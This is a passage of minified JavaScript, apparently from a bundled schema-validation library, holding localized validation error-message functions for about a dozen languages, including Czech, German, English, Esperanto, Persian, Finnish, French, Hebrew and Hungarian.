A={string:{unit:"znaků",verb:"mít"},file:{unit:"bajtů",verb:"mít"},array:{unit:"prvků",verb:"mít"},set:{unit:"prvků",verb:"mít"}};function K(z){return A[z]??null}let q=(z)=>{let w=typeof z;switch(w){case"number":return Number.isNaN(z)?"NaN":"číslo";case"string":return"řetězec";case"boolean":return"boolean";case"bigint":return"bigint";case"function":return"funkce";case"symbol":return"symbol";case"undefined":return"undefined";case"object":{if(Array.isArray(z))return"pole";if(z===null)return"null";if(Object.getPrototypeOf(z)!==Object.prototype&&z.constructor)return z.constructor.name}}return w},Y={regex:"regulární výraz",email:"e-mailová adresa",url:"URL",emoji:"emoji",uuid:"UUID",uuidv4:"UUIDv4",uuidv6:"UUIDv6",nanoid:"nanoid",guid:"GUID",cuid:"cuid",cuid2:"cuid2",ulid:"ULID",xid:"XID",ksuid:"KSUID",datetime:"datum a čas ve formátu ISO",date:"datum ve formátu ISO",time:"čas ve formátu ISO",duration:"doba trvání ISO",ipv4:"IPv4 adresa",ipv6:"IPv6 adresa",cidrv4:"rozsah IPv4",cidrv6:"rozsah IPv6",base64:"řetězec zakódovaný ve formátu base64",base64url:"řetězec zakódovaný ve formátu base64url",json_string:"řetězec ve formátu JSON",e164:"číslo E.164",jwt:"JWT",template_literal:"vstup"};return(z)=>{switch(z.code){case"invalid_type":return`Neplatný vstup: očekáváno ${z.expected}, obdrženo ${q(z.input)}`;case"invalid_value":if(z.values.length===1)return`Neplatný vstup: očekáváno ${B4(z.values[0])}`;return`Neplatná možnost: očekávána jedna z hodnot ${z8(z.values,"|")}`;case"too_big":{let w=z.inclusive?"<=":"<",H=K(z.origin);if(H)return`Hodnota je příliš velká: ${z.origin??"hodnota"} musí mít ${w}${z.maximum.toString()} ${H.unit??"prvků"}`;return`Hodnota je příliš velká: ${z.origin??"hodnota"} musí být ${w}${z.maximum.toString()}`}case"too_small":{let w=z.inclusive?">=":">",H=K(z.origin);if(H)return`Hodnota je příliš malá: ${z.origin??"hodnota"} musí mít ${w}${z.minimum.toString()} ${H.unit??"prvků"}`;return`Hodnota je příliš malá: ${z.origin??"hodnota"} musí být ${w}${z.minimum.toString()}`}case"invalid_format":{let w=z;if(w.format==="starts_with")return`Neplatný řetězec: musí začínat na "${w.prefix}"`;if(w.format==="ends_with")return`Neplatný řetězec: musí končit na "${w.suffix}"`;if(w.format==="includes")return`Neplatný řetězec: musí obsahovat "${w.includes}"`;if(w.format==="regex")return`Neplatný řetězec: musí odpovídat vzoru ${w.pattern}`;return`Neplatný formát ${Y[w.format]??z.format}`}case"not_multiple_of":return`Neplatné číslo: musí být násobkem ${z.divisor}`;case"unrecognized_keys":return`Neznámé klíče: ${z8(z.keys,", ")}`;case"invalid_key":return`Neplatný klíč v ${z.origin}`;case"invalid_union":return"Neplatný vstup";case"invalid_element":return`Neplatná hodnota v ${z.origin}`;default:return"Neplatný vstup"}}};var WL8=k(()=>{Qq()});function ZQ1(){return{localeError:FK5()}}var FK5=()=>{let A={string:{unit:"Zeichen",verb:"zu haben"},file:{unit:"Bytes",verb:"zu haben"},array:{unit:"Elemente",verb:"zu haben"},set:{unit:"Elemente",verb:"zu haben"}};function K(z){return A[z]??null}let q=(z)=>{let w=typeof z;switch(w){case"number":return Number.isNaN(z)?"NaN":"Zahl";case"object":{if(Array.isArray(z))return"Array";if(z===null)return"null";if(Object.getPrototypeOf(z)!==Object.prototype&&z.constructor)return z.constructor.name}}return w},Y={regex:"Eingabe",email:"E-Mail-Adresse",url:"URL",emoji:"Emoji",uuid:"UUID",uuidv4:"UUIDv4",uuidv6:"UUIDv6",nanoid:"nanoid",guid:"GUID",cuid:"cuid",cuid2:"cuid2",ulid:"ULID",xid:"XID",ksuid:"KSUID",datetime:"ISO-Datum und -Uhrzeit",date:"ISO-Datum",time:"ISO-Uhrzeit",duration:"ISO-Dauer",ipv4:"IPv4-Adresse",ipv6:"IPv6-Adresse",cidrv4:"IPv4-Bereich",cidrv6:"IPv6-Bereich",base64:"Base64-codierter String",base64url:"Base64-URL-codierter String",json_string:"JSON-String",e164:"E.164-Nummer",jwt:"JWT",template_literal:"Eingabe"};return(z)=>{switch(z.code){case"invalid_type":return`Ungültige Eingabe: erwartet ${z.expected}, erhalten ${q(z.input)}`;case"invalid_value":if(z.values.length===1)return`Ungültige Eingabe: erwartet ${B4(z.values[0])}`;return`Ungültige Option: erwartet eine von ${z8(z.values,"|")}`;case"too_big":{let w=z.inclusive?"<=":"<",H=K(z.origin);if(H)return`Zu groß: erwartet, dass ${z.origin??"Wert"} ${w}${z.maximum.toString()} ${H.unit??"Elemente"} hat`;return`Zu groß: erwartet, dass ${z.origin??"Wert"} ${w}${z.maximum.toString()} ist`}case"too_small":{let w=z.inclusive?">=":">",H=K(z.origin);if(H)return`Zu klein: erwartet, dass ${z.origin} ${w}${z.minimum.toString()} ${H.unit} hat`;return`Zu klein: erwartet, dass ${z.origin} ${w}${z.minimum.toString()} ist`}case"invalid_format":{let w=z;if(w.format==="starts_with")return`Ungültiger String: muss mit "${w.prefix}" beginnen`;if(w.format==="ends_with")return`Ungültiger String: muss mit "${w.suffix}" enden`;if(w.format==="includes")return`Ungültiger String: muss "${w.includes}" enthalten`;if(w.format==="regex")return`Ungültiger String: muss dem Muster ${w.pattern} entsprechen`;return`Ungültig: ${Y[w.format]??z.format}`}case"not_multiple_of":return`Ungültige Zahl: muss ein Vielfaches von ${z.divisor} sein`;case"unrecognized_keys":return`${z.keys.length>1?"Unbekannte Schlüssel":"Unbekannter Schlüssel"}: ${z8(z.keys,", ")}`;case"invalid_key":return`Ungültiger Schlüssel in ${z.origin}`;case"invalid_union":return"Ungültige Eingabe";case"invalid_element":return`Ungültiger Wert in ${z.origin}`;default:return"Ungültige Eingabe"}}};var DL8=k(()=>{Qq()});function VEA(){return{localeError:UK5()}}var QK5=(A)=>{let K=typeof A;switch(K){case"number":return Number.isNaN(A)?"NaN":"number";case"object":{if(Array.isArray(A))return"array";if(A===null)return"null";if(Object.getPrototypeOf(A)!==Object.prototype&&A.constructor)return A.constructor.name}}return K},UK5=()=>{let A={string:{unit:"characters",verb:"to have"},file:{unit:"bytes",verb:"to have"},array:{unit:"items",verb:"to have"},set:{unit:"items",verb:"to have"}};function K(Y){return A[Y]??null}let q={regex:"input",email:"email address",url:"URL",emoji:"emoji",uuid:"UUID",uuidv4:"UUIDv4",uuidv6:"UUIDv6",nanoid:"nanoid",guid:"GUID",cuid:"cuid",cuid2:"cuid2",ulid:"ULID",xid:"XID",ksuid:"KSUID",datetime:"ISO datetime",date:"ISO date",time:"ISO time",duration:"ISO duration",ipv4:"IPv4 address",ipv6:"IPv6 address",cidrv4:"IPv4 range",cidrv6:"IPv6 range",base64:"base64-encoded string",base64url:"base64url-encoded string",json_string:"JSON string",e164:"E.164 number",jwt:"JWT",template_literal:"input"};return(Y)=>{switch(Y.code){case"invalid_type":return`Invalid input: expected ${Y.expected}, received ${QK5(Y.input)}`;case"invalid_value":if(Y.values.length===1)return`Invalid input: expected ${B4(Y.values[0])}`;return`Invalid option: expected one of ${z8(Y.values,"|")}`;case"too_big":{let z=Y.inclusive?"<=":"<",w=K(Y.origin);if(w)return`Too big: expected ${Y.origin??"value"} to have ${z}${Y.maximum.toString()} ${w.unit??"elements"}`;return`Too big: expected ${Y.origin??"value"} to be ${z}${Y.maximum.toString()}`}case"too_small":{let z=Y.inclusive?">=":">",w=K(Y.origin);if(w)return`Too small: expected ${Y.origin} to have ${z}${Y.minimum.toString()} ${w.unit}`;return`Too small: expected ${Y.origin} to be ${z}${Y.minimum.toString()}`}case"invalid_format":{let z=Y;if(z.format==="starts_with")return`Invalid string: must start with "${z.prefix}"`;if(z.format==="ends_with")return`Invalid string: must end with "${z.suffix}"`;if(z.format==="includes")return`Invalid string: must include "${z.includes}"`;if(z.format==="regex")return`Invalid string: must match pattern ${z.pattern}`;return`Invalid ${q[z.format]??Y.format}`}case"not_multiple_of":return`Invalid number: must be a multiple of ${Y.divisor}`;case"unrecognized_keys":return`Unrecognized key${Y.keys.length>1?"s":""}: ${z8(Y.keys,", ")}`;case"invalid_key":return`Invalid key in ${Y.origin}`;case"invalid_union":return"Invalid input";case"invalid_element":return`Invalid value in ${Y.origin}`;default:return"Invalid input"}}};var WQ1=k(()=>{Qq()});function DQ1(){return{localeError:dK5()}}var pK5=(A)=>{let K=typeof A;switch(K){case"number":return Number.isNaN(A)?"NaN":"nombro";case"object":{if(Array.isArray(A))return"tabelo";if(A===null)return"senvalora";if(Object.getPrototypeOf(A)!==Object.prototype&&A.constructor)return A.constructor.name}}return K},dK5=()=>{let A={string:{unit:"karaktrojn",verb:"havi"},file:{unit:"bajtojn",verb:"havi"},array:{unit:"elementojn",verb:"havi"},set:{unit:"elementojn",verb:"havi"}};function K(Y){return A[Y]??null}let q={regex:"enigo",email:"retadreso",url:"URL",emoji:"emoĝio",uuid:"UUID",uuidv4:"UUIDv4",uuidv6:"UUIDv6",nanoid:"nanoid",guid:"GUID",cuid:"cuid",cuid2:"cuid2",ulid:"ULID",xid:"XID",ksuid:"KSUID",datetime:"ISO-datotempo",date:"ISO-dato",time:"ISO-tempo",duration:"ISO-daŭro",ipv4:"IPv4-adreso",ipv6:"IPv6-adreso",cidrv4:"IPv4-rango",cidrv6:"IPv6-rango",base64:"64-ume kodita karaktraro",base64url:"URL-64-ume kodita karaktraro",json_string:"JSON-karaktraro",e164:"E.164-nombro",jwt:"JWT",template_literal:"enigo"};return(Y)=>{switch(Y.code){case"invalid_type":return`Nevalida enigo: atendiĝis ${Y.expected}, riceviĝis ${pK5(Y.input)}`;case"invalid_value":if(Y.values.length===1)return`Nevalida enigo: atendiĝis ${B4(Y.values[0])}`;return`Nevalida opcio: atendiĝis unu el ${z8(Y.values,"|")}`;case"too_big":{let z=Y.inclusive?"<=":"<",w=K(Y.origin);if(w)return`Tro granda: atendiĝis ke ${Y.origin??"valoro"} havu ${z}${Y.maximum.toString()} ${w.unit??"elementojn"}`;return`Tro granda: atendiĝis ke ${Y.origin??"valoro"} havu ${z}${Y.maximum.toString()}`}case"too_small":{let z=Y.inclusive?">=":">",w=K(Y.origin);if(w)return`Tro malgranda: atendiĝis ke ${Y.origin} havu ${z}${Y.minimum.toString()} ${w.unit}`;return`Tro malgranda: atendiĝis ke ${Y.origin} estu ${z}${Y.minimum.toString()}`}case"invalid_format":{let z=Y;if(z.format==="starts_with")return`Nevalida karaktraro: devas komenciĝi per "${z.prefix}"`;if(z.format==="ends_with")return`Nevalida karaktraro: devas finiĝi per "${z.suffix}"`;if(z.format==="includes")return`Nevalida karaktraro: devas inkluzivi "${z.includes}"`;if(z.format==="regex")return`Nevalida karaktraro: devas kongrui kun la modelo ${z.pattern}`;return`Nevalida ${q[z.format]??Y.format}`}case"not_multiple_of":return`Nevalida nombro: devas esti oblo de ${Y.divisor}`;case"unrecognized_keys":return`Nekonata${Y.keys.length>1?"j":""} ŝlosilo${Y.keys.length>1?"j":""}: ${z8(Y.keys,", ")}`;case"invalid_key":return`Nevalida ŝlosilo en ${Y.origin}`;case"invalid_union":return"Nevalida enigo";case"invalid_element":return`Nevalida valoro en ${Y.origin}`;default:return"Nevalida enigo"}}};var jL8=k(()=>{Qq()});function jQ1(){return{localeError:cK5()}}var cK5=()=>{let A={string:{unit:"caracteres",verb:"tener"},file:{unit:"bytes",verb:"tener"},array:{unit:"elementos",verb:"tener"},set:{unit:"elementos",verb:"tener"}};function K(z){return A[z]??null}let q=(z)=>{let w=typeof z;switch(w){case"number":return Number.isNaN(z)?"NaN":"número";case"object":{if(Array.isArray(z))return"arreglo";if(z===null)return"nulo";if(Object.getPrototypeOf(z)!==Object.prototype)return z.constructor.name}}return w},Y={regex:"entrada",email:"dirección de correo electrónico",url:"URL",emoji:"emoji",uuid:"UUID",uuidv4:"UUIDv4",uuidv6:"UUIDv6",nanoid:"nanoid",guid:"GUID",cuid:"cuid",cuid2:"cuid2",ulid:"ULID",xid:"XID",ksuid:"KSUID",datetime:"fecha y hora ISO",date:"fecha ISO",time:"hora ISO",duration:"duración ISO",ipv4:"dirección IPv4",ipv6:"dirección IPv6",cidrv4:"rango IPv4",cidrv6:"rango IPv6",base64:"cadena codificada en base64",base64url:"URL codificada en base64",json_string:"cadena JSON",e164:"número E.164",jwt:"JWT",template_literal:"entrada"};return(z)=>{switch(z.code){case"invalid_type":return`Entrada inválida: se esperaba ${z.expected}, recibido ${q(z.input)}`;case"invalid_value":if(z.values.length===1)return`Entrada inválida: se esperaba ${B4(z.values[0])}`;return`Opción inválida: se esperaba una de ${z8(z.values,"|")}`;case"too_big":{let w=z.inclusive?"<=":"<",H=K(z.origin);if(H)return`Demasiado grande: se esperaba que ${z.origin??"valor"} tuviera ${w}${z.maximum.toString()} ${H.unit??"elementos"}`;return`Demasiado grande: se esperaba que ${z.origin??"valor"} fuera ${w}${z.maximum.toString()}`}case"too_small":{let w=z.inclusive?">=":">",H=K(z.origin);if(H)return`Demasiado pequeño: se esperaba que ${z.origin} tuviera ${w}${z.minimum.toString()} ${H.unit}`;return`Demasiado pequeño: se esperaba que ${z.origin} fuera ${w}${z.minimum.toString()}`}case"invalid_format":{let w=z;if(w.format==="starts_with")return`Cadena inválida: debe comenzar con "${w.prefix}"`;if(w.format==="ends_with")return`Cadena inválida: debe terminar en "${w.suffix}"`;if(w.format==="includes")return`Cadena inválida: debe incluir "${w.includes}"`;if(w.format==="regex")return`Cadena inválida: debe coincidir con el patrón ${w.pattern}`;return`Inválido ${Y[w.format]??z.format}`}case"not_multiple_of":return`Número inválido: debe ser múltiplo de ${z.divisor}`;case"unrecognized_keys":return`Llave${z.keys.length>1?"s":""} desconocida${z.keys.length>1?"s":""}: ${z8(z.keys,", ")}`;case"invalid_key":return`Llave inválida en ${z.origin}`;case"invalid_union":return"Entrada inválida";case"invalid_element":return`Valor inválido en ${z.origin}`;default:return"Entrada inválida"}}};var ML8=k(()=>{Qq()});function MQ1(){return{localeError:lK5()}}var lK5=()=>{let A={string:{unit:"کاراکتر",verb:"داشته باشد"},file:{unit:"بایت",verb:"داشته باشد"},array:{unit:"آیتم",verb:"داشته باشد"},set:{unit:"آیتم",verb:"داشته باشد"}};function K(z){return A[z]??null}let q=(z)=>{let w=typeof z;switch(w){case"number":return Number.isNaN(z)?"NaN":"عدد";case"object":{if(Array.isArray(z))return"آرایه";if(z===null)return"null";if(Object.getPrototypeOf(z)!==Object.prototype&&z.constructor)return z.constructor.name}}return w},Y={regex:"ورودی",email:"آدرس ایمیل",url:"URL",emoji:"ایموجی",uuid:"UUID",uuidv4:"UUIDv4",uuidv6:"UUIDv6",nanoid:"nanoid",guid:"GUID",cuid:"cuid",cuid2:"cuid2",ulid:"ULID",xid:"XID",ksuid:"KSUID",datetime:"تاریخ و زمان ایزو",date:"تاریخ ایزو",time:"زمان ایزو",duration:"مدت زمان ایزو",ipv4:"IPv4 آدرس",ipv6:"IPv6 آدرس",cidrv4:"IPv4 دامنه",cidrv6:"IPv6 دامنه",base64:"base64-encoded رشته",base64url:"base64url-encoded رشته",json_string:"JSON رشته",e164:"E.164 عدد",jwt:"JWT",template_literal:"ورودی"};return(z)=>{switch(z.code){case"invalid_type":return`ورودی نامعتبر: میبایست ${z.expected} میبود، ${q(z.input)} دریافت شد`;case"invalid_value":if(z.values.length===1)return`ورودی نامعتبر: میبایست ${B4(z.values[0])} میبود`;return`گزینه نامعتبر: میبایست یکی از ${z8(z.values,"|")} میبود`;case"too_big":{let w=z.inclusive?"<=":"<",H=K(z.origin);if(H)return`خیلی بزرگ: ${z.origin??"مقدار"} باید ${w}${z.maximum.toString()} ${H.unit??"عنصر"} باشد`;return`خیلی بزرگ: ${z.origin??"مقدار"} باید ${w}${z.maximum.toString()} باشد`}case"too_small":{let w=z.inclusive?">=":">",H=K(z.origin);if(H)return`خیلی کوچک: ${z.origin} باید ${w}${z.minimum.toString()} ${H.unit} باشد`;return`خیلی کوچک: ${z.origin} باید ${w}${z.minimum.toString()} باشد`}case"invalid_format":{let w=z;if(w.format==="starts_with")return`رشته نامعتبر: باید با "${w.prefix}" شروع شود`;if(w.format==="ends_with")return`رشته نامعتبر: باید با "${w.suffix}" تمام شود`;if(w.format==="includes")return`رشته نامعتبر: باید شامل "${w.includes}" باشد`;if(w.format==="regex")return`رشته نامعتبر: باید با الگوی ${w.pattern} مطابقت داشته باشد`;return`${Y[w.format]??z.format} نامعتبر`}case"not_multiple_of":return`عدد نامعتبر: باید مضرب ${z.divisor} باشد`;case"unrecognized_keys":return`کلید${z.keys.length>1?"های":""} ناشناس: ${z8(z.keys,", ")}`;case"invalid_key":return`کلید ناشناس در ${z.origin}`;case"invalid_union":return"ورودی نامعتبر";case"invalid_element":return`مقدار نامعتبر در ${z.origin}`;default:return"ورودی نامعتبر"}}};var PL8=k(()=>{Qq()});function PQ1(){return{localeError:iK5()}}var iK5=()=>{let A={string:{unit:"merkkiä",subject:"merkkijonon"},file:{unit:"tavua",subject:"tiedoston"},array:{unit:"alkiota",subject:"listan"},set:{unit:"alkiota",subject:"joukon"},number:{unit:"",subject:"luvun"},bigint:{unit:"",subject:"suuren kokonaisluvun"},int:{unit:"",subject:"kokonaisluvun"},date:{unit:"",subject:"päivämäärän"}};function K(z){return A[z]??null}let q=(z)=>{let w=typeof z;switch(w){case"number":return Number.isNaN(z)?"NaN":"number";case"object":{if(Array.isArray(z))return"array";if(z===null)return"null";if(Object.getPrototypeOf(z)!==Object.prototype&&z.constructor)return z.constructor.name}}return w},Y={regex:"säännöllinen lauseke",email:"sähköpostiosoite",url:"URL-osoite",emoji:"emoji",uuid:"UUID",uuidv4:"UUIDv4",uuidv6:"UUIDv6",nanoid:"nanoid",guid:"GUID",cuid:"cuid",cuid2:"cuid2",ulid:"ULID",xid:"XID",ksuid:"KSUID",datetime:"ISO-aikaleima",date:"ISO-päivämäärä",time:"ISO-aika",duration:"ISO-kesto",ipv4:"IPv4-osoite",ipv6:"IPv6-osoite",cidrv4:"IPv4-alue",cidrv6:"IPv6-alue",base64:"base64-koodattu merkkijono",base64url:"base64url-koodattu merkkijono",json_string:"JSON-merkkijono",e164:"E.164-luku",jwt:"JWT",template_literal:"templaattimerkkijono"};return(z)=>{switch(z.code){case"invalid_type":return`Virheellinen tyyppi: odotettiin ${z.expected}, oli ${q(z.input)}`;case"invalid_value":if(z.values.length===1)return`Virheellinen syöte: täytyy olla ${B4(z.values[0])}`;return`Virheellinen valinta: täytyy olla yksi seuraavista: ${z8(z.values,"|")}`;case"too_big":{let w=z.inclusive?"<=":"<",H=K(z.origin);if(H)return`Liian suuri: ${H.subject} täytyy olla ${w}${z.maximum.toString()} ${H.unit}`.trim();return`Liian suuri: arvon täytyy olla ${w}${z.maximum.toString()}`}case"too_small":{let w=z.inclusive?">=":">",H=K(z.origin);if(H)return`Liian pieni: ${H.subject} täytyy olla ${w}${z.minimum.toString()} ${H.unit}`.trim();return`Liian pieni: arvon täytyy olla ${w}${z.minimum.toString()}`}case"invalid_format":{let w=z;if(w.format==="starts_with")return`Virheellinen syöte: täytyy alkaa "${w.prefix}"`;if(w.format==="ends_with")return`Virheellinen syöte: täytyy loppua "${w.suffix}"`;if(w.format==="includes")return`Virheellinen syöte: täytyy sisältää "${w.includes}"`;if(w.format==="regex")return`Virheellinen syöte: täytyy vastata säännöllistä lauseketta ${w.pattern}`;return`Virheellinen ${Y[w.format]??z.format}`}case"not_multiple_of":return`Virheellinen luku: täytyy olla luvun ${z.divisor} monikerta`;case"unrecognized_keys":return`${z.keys.length>1?"Tuntemattomat avaimet":"Tuntematon avain"}: ${z8(z.keys,", ")}`;case"invalid_key":return"Virheellinen avain tietueessa";case"invalid_union":return"Virheellinen unioni";case"invalid_element":return"Virheellinen arvo joukossa";default:return"Virheellinen syöte"}}};var VL8=k(()=>{Qq()});function VQ1(){return{localeError:nK5()}}var nK5=()=>{let A={string:{unit:"caractères",verb:"avoir"},file:{unit:"octets",verb:"avoir"},array:{unit:"éléments",verb:"avoir"},set:{unit:"éléments",verb:"avoir"}};function K(z){return A[z]??null}let q=(z)=>{let w=typeof z;switch(w){case"number":return Number.isNaN(z)?"NaN":"nombre";case"object":{if(Array.isArray(z))return"tableau";if(z===null)return"null";if(Object.getPrototypeOf(z)!==Object.prototype&&z.constructor)return z.constructor.name}}return w},Y={regex:"entrée",email:"adresse e-mail",url:"URL",emoji:"emoji",uuid:"UUID",uuidv4:"UUIDv4",uuidv6:"UUIDv6",nanoid:"nanoid",guid:"GUID",cuid:"cuid",cuid2:"cuid2",ulid:"ULID",xid:"XID",ksuid:"KSUID",datetime:"date et heure ISO",date:"date ISO",time:"heure ISO",duration:"durée ISO",ipv4:"adresse IPv4",ipv6:"adresse IPv6",cidrv4:"plage IPv4",cidrv6:"plage IPv6",base64:"chaîne encodée en base64",base64url:"chaîne encodée en base64url",json_string:"chaîne JSON",e164:"numéro E.164",jwt:"JWT",template_literal:"entrée"};return(z)=>{switch(z.code){case"invalid_type":return`Entrée invalide : ${z.expected} attendu, ${q(z.input)} reçu`;case"invalid_value":if(z.values.length===1)return`Entrée invalide : ${B4(z.values[0])} attendu`;return`Option invalide : une valeur parmi ${z8(z.values,"|")} attendue`;case"too_big":{let w=z.inclusive?"<=":"<",H=K(z.origin);if(H)return`Trop grand : ${z.origin??"valeur"} doit ${H.verb} ${w}${z.maximum.toString()} ${H.unit??"élément(s)"}`;return`Trop grand : ${z.origin??"valeur"} doit être ${w}${z.maximum.toString()}`}case"too_small":{let w=z.inclusive?">=":">",H=K(z.origin);if(H)return`Trop petit : ${z.origin} doit ${H.verb} ${w}${z.minimum.toString()} ${H.unit}`;return`Trop petit : ${z.origin} doit être ${w}${z.minimum.toString()}`}case"invalid_format":{let w=z;if(w.format==="starts_with")return`Chaîne invalide : doit commencer par "${w.prefix}"`;if(w.format==="ends_with")return`Chaîne invalide : doit se terminer par "${w.suffix}"`;if(w.format==="includes")return`Chaîne invalide : doit inclure "${w.includes}"`;if(w.format==="regex")return`Chaîne invalide : doit correspondre au modèle ${w.pattern}`;return`${Y[w.format]??z.format} invalide`}case"not_multiple_of":return`Nombre invalide : doit être un multiple de ${z.divisor}`;case"unrecognized_keys":return`Clé${z.keys.length>1?"s":""} non reconnue${z.keys.length>1?"s":""} : ${z8(z.keys,", ")}`;case"invalid_key":return`Clé invalide dans ${z.origin}`;case"invalid_union":return"Entrée invalide";case"invalid_element":return`Valeur invalide dans ${z.origin}`;default:return"Entrée invalide"}}};var fL8=k(()=>{Qq()});function fQ1(){return{localeError:rK5()}}var rK5=()=>{let A={string:{unit:"caractères",verb:"avoir"},file:{unit:"octets",verb:"avoir"},array:{unit:"éléments",verb:"avoir"},set:{unit:"éléments",verb:"avoir"}};function K(z){return A[z]??null}let q=(z)=>{let w=typeof z;switch(w){case"number":return Number.isNaN(z)?"NaN":"number";case"object":{if(Array.isArray(z))return"array";if(z===null)return"null";if(Object.getPrototypeOf(z)!==Object.prototype&&z.constructor)return z.constructor.name}}return w},Y={regex:"entrée",email:"adresse courriel",url:"URL",emoji:"emoji",uuid:"UUID",uuidv4:"UUIDv4",uuidv6:"UUIDv6",nanoid:"nanoid",guid:"GUID",cuid:"cuid",cuid2:"cuid2",ulid:"ULID",xid:"XID",ksuid:"KSUID",datetime:"date-heure ISO",date:"date ISO",time:"heure ISO",duration:"durée ISO",ipv4:"adresse IPv4",ipv6:"adresse IPv6",cidrv4:"plage IPv4",cidrv6:"plage IPv6",base64:"chaîne encodée en base64",base64url:"chaîne encodée en base64url",json_string:"chaîne JSON",e164:"numéro E.164",jwt:"JWT",template_literal:"entrée"};return(z)=>{switch(z.code){case"invalid_type":return`Entrée invalide : attendu ${z.expected}, reçu ${q(z.input)}`;case"invalid_value":if(z.values.length===1)return`Entrée invalide : attendu ${B4(z.values[0])}`;return`Option invalide : attendu l'une des valeurs suivantes ${z8(z.values,"|")}`;case"too_big":{let w=z.inclusive?"≤":"<",H=K(z.origin);if(H)return`Trop grand : attendu que ${z.origin??"la valeur"} ait ${w}${z.maximum.toString()} ${H.unit}`;return`Trop grand : attendu que ${z.origin??"la valeur"} soit ${w}${z.maximum.toString()}`}case"too_small":{let w=z.inclusive?"≥":">",H=K(z.origin);if(H)return`Trop petit : attendu que ${z.origin} ait ${w}${z.minimum.toString()} ${H.unit}`;return`Trop petit : attendu que ${z.origin} soit ${w}${z.minimum.toString()}`}case"invalid_format":{let w=z;if(w.format==="starts_with")return`Chaîne invalide : doit commencer par "${w.prefix}"`;if(w.format==="ends_with")return`Chaîne invalide : doit se terminer par "${w.suffix}"`;if(w.format==="includes")return`Chaîne invalide : doit inclure "${w.includes}"`;if(w.format==="regex")return`Chaîne invalide : doit correspondre au motif ${w.pattern}`;return`${Y[w.format]??z.format} invalide`}case"not_multiple_of":return`Nombre invalide : doit être un multiple de ${z.divisor}`;case"unrecognized_keys":return`Clé${z.keys.length>1?"s":""} non reconnue${z.keys.length>1?"s":""} : ${z8(z.keys,", ")}`;case"invalid_key":return`Clé invalide dans ${z.origin}`;case"invalid_union":return"Entrée invalide";case"invalid_element":return`Valeur invalide dans ${z.origin}`;default:return"Entrée invalide"}}};var NL8=k(()=>{Qq()});function NQ1(){return{localeError:oK5()}}var oK5=()=>{let A={string:{unit:"אותיות",verb:"לכלול"},file:{unit:"בייטים",verb:"לכלול"},array:{unit:"פריטים",verb:"לכלול"},set:{unit:"פריטים",verb:"לכלול"}};function K(z){return A[z]??null}let q=(z)=>{let w=typeof z;switch(w){case"number":return Number.isNaN(z)?"NaN":"number";case"object":{if(Array.isArray(z))return"array";if(z===null)return"null";if(Object.getPrototypeOf(z)!==Object.prototype&&z.constructor)return z.constructor.name}}return w},Y={regex:"קלט",email:"כתובת אימייל",url:"כתובת רשת",emoji:"אימוג'י",uuid:"UUID",uuidv4:"UUIDv4",uuidv6:"UUIDv6",nanoid:"nanoid",guid:"GUID",cuid:"cuid",cuid2:"cuid2",ulid:"ULID",xid:"XID",ksuid:"KSUID",datetime:"תאריך וזמן ISO",date:"תאריך ISO",time:"זמן ISO",duration:"משך זמן ISO",ipv4:"כתובת IPv4",ipv6:"כתובת IPv6",cidrv4:"טווח IPv4",cidrv6:"טווח IPv6",base64:"מחרוזת בבסיס 64",base64url:"מחרוזת בבסיס 64 לכתובות רשת",json_string:"מחרוזת JSON",e164:"מספר E.164",jwt:"JWT",template_literal:"קלט"};return(z)=>{switch(z.code){case"invalid_type":return`קלט לא תקין: צריך ${z.expected}, התקבל ${q(z.input)}`;case"invalid_value":if(z.values.length===1)return`קלט לא תקין: צריך ${B4(z.values[0])}`;return`קלט לא תקין: צריך אחת מהאפשרויות ${z8(z.values,"|")}`;case"too_big":{let w=z.inclusive?"<=":"<",H=K(z.origin);if(H)return`גדול מדי: ${z.origin??"value"} צריך להיות ${w}${z.maximum.toString()} ${H.unit??"elements"}`;return`גדול מדי: ${z.origin??"value"} צריך להיות ${w}${z.maximum.toString()}`}case"too_small":{let w=z.inclusive?">=":">",H=K(z.origin);if(H)return`קטן מדי: ${z.origin} צריך להיות ${w}${z.minimum.toString()} ${H.unit}`;return`קטן מדי: ${z.origin} צריך להיות ${w}${z.minimum.toString()}`}case"invalid_format":{let w=z;if(w.format==="starts_with")return`מחרוזת לא תקינה: חייבת להתחיל ב"${w.prefix}"`;if(w.format==="ends_with")return`מחרוזת לא תקינה: חייבת להסתיים ב "${w.suffix}"`;if(w.format==="includes")return`מחרוזת לא תקינה: חייבת לכלול "${w.includes}"`;if(w.format==="regex")return`מחרוזת לא תקינה: חייבת להתאים לתבנית ${w.pattern}`;return`${Y[w.format]??z.format} לא תקין`}case"not_multiple_of":return`מספר לא תקין: חייב להיות מכפלה של ${z.divisor}`;case"unrecognized_keys":return`מפתח${z.keys.length>1?"ות":""} לא מזוה${z.keys.length>1?"ים":"ה"}: ${z8(z.keys,", ")}`;case"invalid_key":return`מפתח לא תקין ב${z.origin}`;case"invalid_union":return"קלט לא תקין";case"invalid_element":return`ערך לא תקין ב${z.origin}`;default:return"קלט לא תקין"}}};var TL8=k(()=>{Qq()});function TQ1(){return{localeError:aK5()}}var aK5=()=>{let A={string:{unit:"karakter",verb:"legyen"},file:{unit:"byte",verb:"legyen"},array:{unit:"elem",verb:"legyen"},set:{unit:"elem",verb:"legyen"}};function K(z){return A[z]??null}let q=(z)=>{let w=typeof z;switch(w){case"number":return Number.isNaN(z)?"NaN":"szám";case"object":{if(Array.isArray(z))return"tömb";if(z===null)return"null";if(Object.getPrototypeOf(z)!==Object.prototype&&z.constructor)return z.constructor.name}}return w},Y={regex:"bemenet",email:"email cím",url:"URL",emoji:"emoji",uuid:"UUID",uuidv4:"UUIDv4",uuidv6:"UUIDv6",nanoid:"nanoid",guid:"GUID",cuid:"cuid",cuid2:"cuid2",ulid:"ULID",xid:"XID",ksuid:"KSUID",datetime:"ISO időbélyeg",date:"ISO dátum",time:"ISO idő",duration:"ISO időintervallum",ipv4:"IPv4 cím",ipv6:"IPv6 cím",cidrv4:"IPv4 tartomány",cidrv6:"IPv6 tartomány",base64:"base64-kódolt string",base64url:"base64url-kódolt string",json_string:"JSON string",e164:"E.164 szám",jwt:"JWT",template_literal:"bemenet"};return(z)=>{switch(z.code){case"invalid_type":return`Érvénytelen bemenet: a várt érték ${z.expected}, a kapott érték ${q(z.input)}`;case"invalid_value":if(z.values.length===1)return`Érvénytelen bemenet: a várt érték ${B4(z.values[0])}`;return`Érvénytelen opció: valamelyik érték várt ${z8(z.values,"|")}`;case"too_big":{let w=z.inclusive?"<=":"<",H=K(z.origin);if(H)return`Túl nagy: ${z.origin??"érték"} mérete túl nagy ${w}${z.maximum.toString()} ${H.unit??"elem"}`;return`Túl nagy: a bemeneti érték ${z.origin??"érték"} túl 